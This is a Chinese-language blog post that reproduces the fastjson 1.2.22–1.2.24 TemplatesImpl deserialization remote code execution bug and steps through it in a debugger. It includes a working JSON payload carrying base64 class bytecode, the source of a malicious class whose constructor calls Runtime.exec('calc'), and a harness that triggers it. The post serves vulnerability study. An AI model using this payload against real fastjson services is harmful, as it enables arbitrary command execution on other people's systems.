fastjson1.2.22-1.2.24 反序列化命令执行实践测试
首先创建一个spring boot的项目
pom.xml因为fastjson 依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version>
</dependency>
user entity
public class User {
private String username;
public void setUsername(String username) {
this.username = username;
}
public String getUsername() {
return username;
}
}
正常反序列化时这样的:
String text="{\"@type\":\"com.example.fastjsonrce.entity.User\",\"username\":\"xiaochuan\"}";
Object obj1 = JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);
User myUser=(User)obj1;
return myUser.getUsername();
当payload换成:
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB5MY2MvbW9jbi9tYWxsL2NvbW1vbi91dGlsL1BvYzsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACWhhRm5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACFBvYy5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEAHGNjL21vY24vbWFsbC9jb21tb24vdXRpbC9Qb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAADQAEAA4ADQAPAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAGAAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAbAAgAHAAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA==\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{},\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
即可触发命令执行

测试发现代码中
Object obj1 = JSON.parseObject(text, Object.class,Feature.SupportNonPublicField);
参考这位大佬的分析文章,跟进调试一遍。
首先poc的内容
package ka1n4t.poc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evilClass1 extends AbstractTranslet/*ka1n4t*/ {
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public evilClass1() throws IOException {
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args) throws IOException {
evilClass1 helloworld = new evilClass1();
}
}
package ka1n4t.poc;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class vulApp1 {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
String result = Base64.encodeBase64String(bos.toByteArray());
return result;
}
public static void bad_method() {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class";
String evil_code = readClass(evil_path);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evil_code+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
public static void main(String args[]) {
bad_method();
}
}
分析poc是在反序列化过程时,反序列化的TemplatesImpl类,其中_bytecodes是关键的代码,其值是base64后的evilClass1.class字节流,我的理解是在反序列化过程时,_bytecodes中的内容被实例化,从而执行了构造函数中的命令执行。如果不对的话,还请大神指正,十分感谢
接下里尝试调试
首先漏洞触发在fastjson的FieldDeserializer类中。

通过java的反射机制,实际执行的是
public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
这是java官方类库,所以Force Step Into 强制进入,之后Step Over (F8),一步步之后操作。
先进入invoke

然后进入TemplatesImpl.getOutputProperties(),注意在该函数下打个断点

进入这个函数可以看到调用了newTransformer(),它应该会返回一个实例,是官方内部函数,(Force Step Into):Alt + Shift + F7进去看看

可以看到的是其返回一个transformer实例,在实例化时调用了getTransletInstance函数。(Force Step Into):Alt + Shift + F7进去看看

这里可以看到运行了一个defineTransletClasses()返回给_class
主要来看defineTransletClasses()是如何创建出poc中的恶意类的。
首先是实例化了一个TransletClassLoader 类型的loader

这是TemplatesImpl下的TransletClassLoader类,等等再分析

可以看到在经过_class[i] = loader.defineClass(_bytecodes[i]);后,_class[i]还原成功了class cc.mocn.mall.common.util.Poc,
回到getTransletInstance函数,经过defineTransletClasses()后,_class中已经有了我们的恶意类

最后通过newInstance()实例化,从而执行构造函数中的命令执行。
回头看看TransletClassLoader

可以看到TransletClassLoader继承了Java类加载器—ClassLoader类,defineTransletClasses方法,其间接调用ClassLoader加载_bytecodes中的内容之后,将加载出来的类赋值给_class[0]
所以最后就是_class[0].newInstance()创建实例,创建的过程中调用了evilClass1构造方法,然后触发了payload

以上是根据大神们的分析思路,加入了一些自己的理解,如果有不正确的地方,还请指正,十分感谢
浙公网安备 33010602011771号